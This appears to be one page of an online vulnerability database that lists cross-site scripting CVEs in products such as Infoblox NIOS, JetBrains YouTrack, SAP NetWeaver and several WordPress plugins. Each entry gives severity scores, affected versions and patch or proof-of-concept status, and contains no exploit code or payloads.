EPSS 0% CVSS 4.8
MEDIUM Monitor

Synopsys Seeker versions prior to 2023.12.0 are vulnerable to a stored cross-site scripting vulnerability through a specially crafted payload. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Seeker Synopsys
NVD
EPSS 0% CVSS 5.4
MEDIUM POC This Month

A stored cross-site scripting (XSS) vulnerability in Infoblox NIOS v8.5.2-409296 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the VLAN View Name field. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Nios Infoblox
NVD VulDB
EPSS 0% CVSS 4.6
MEDIUM Monitor

In JetBrains YouTrack before 2023.3.22666 stored XSS via markdown was possible. Rated medium severity (CVSS 4.6), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Youtrack JetBrains
NVD
EPSS 0% CVSS 5.7
MEDIUM PATCH This Month

Qualys Jenkins Plugin for Policy Compliance prior to version and including 1.0.5 was identified to be affected by a security flaw, which was missing a permission check while performing a connectivity. Rated medium severity (CVSS 5.7), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Jenkins Policy Compliance +1
NVD
EPSS 0% CVSS 4.4
MEDIUM This Month

The Formidable Forms - Contact Form, Survey, Quiz, Payment, Calculator Form & Custom Form Builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the name field label and. Rated medium severity (CVSS 4.4), this vulnerability is remotely exploitable. No vendor patch available.

WordPress XSS Formidable Form Builder +2
NVD VulDB
EPSS 1% CVSS 6.5
MEDIUM This Month

The Formidable Forms plugin for WordPress is vulnerable to HTML injection in versions up to, and including, 6.7. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS Formidable Form Builder +2
NVD VulDB
EPSS 0% CVSS 4.4
MEDIUM PATCH This Month

The WordPress Button Plugin MaxButtons plugin for WordPress is vulnerable to Stored Cross-Site Scripting via admin settings in all versions up to, and including, 9.7.4 due to insufficient input. Rated medium severity (CVSS 4.4), this vulnerability is remotely exploitable. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

WordPress XSS Maxbuttons +2
NVD VulDB
EPSS 0% CVSS 4.1
MEDIUM Monitor

SAP NetWeaver ABAP Application Server and ABAP Platform do not sufficiently encode user-controlled inputs, resulting in Cross-Site Scripting (XSS) vulnerability. Rated medium severity (CVSS 4.1), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS SAP Netweaver Application Server Abap
NVD
EPSS 1% CVSS 6.1
MEDIUM POC This Month

Cross Site Scripting vulnerability found in NetScoutnGeniusOne v.6.3.4 allows a remote attacker to execute arbitrary code via the name parameter of the Profile and Exclusion List page(s). Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS RCE Ngeniusone +1
NVD VulDB
EPSS 1% CVSS 5.4
MEDIUM POC This Month

Cross Site Scripting vulnerability found in NetScoutnGeniusOne v.6.3.4 allows a remote attacker to execute arbitrary code via the creator parameter of the Alert Configuration page. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS RCE Ngeniusone +1
NVD VulDB
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Michiel van Eerd Private Google Calendars allows Stored XSS. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Google Private Google Calendars
NVD
Prev Page 241 of 454 Next

Quick Facts

Typical Severity
MEDIUM
Category
web
Total CVEs
40858

Related CWEs

MITRE ATT&CK

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy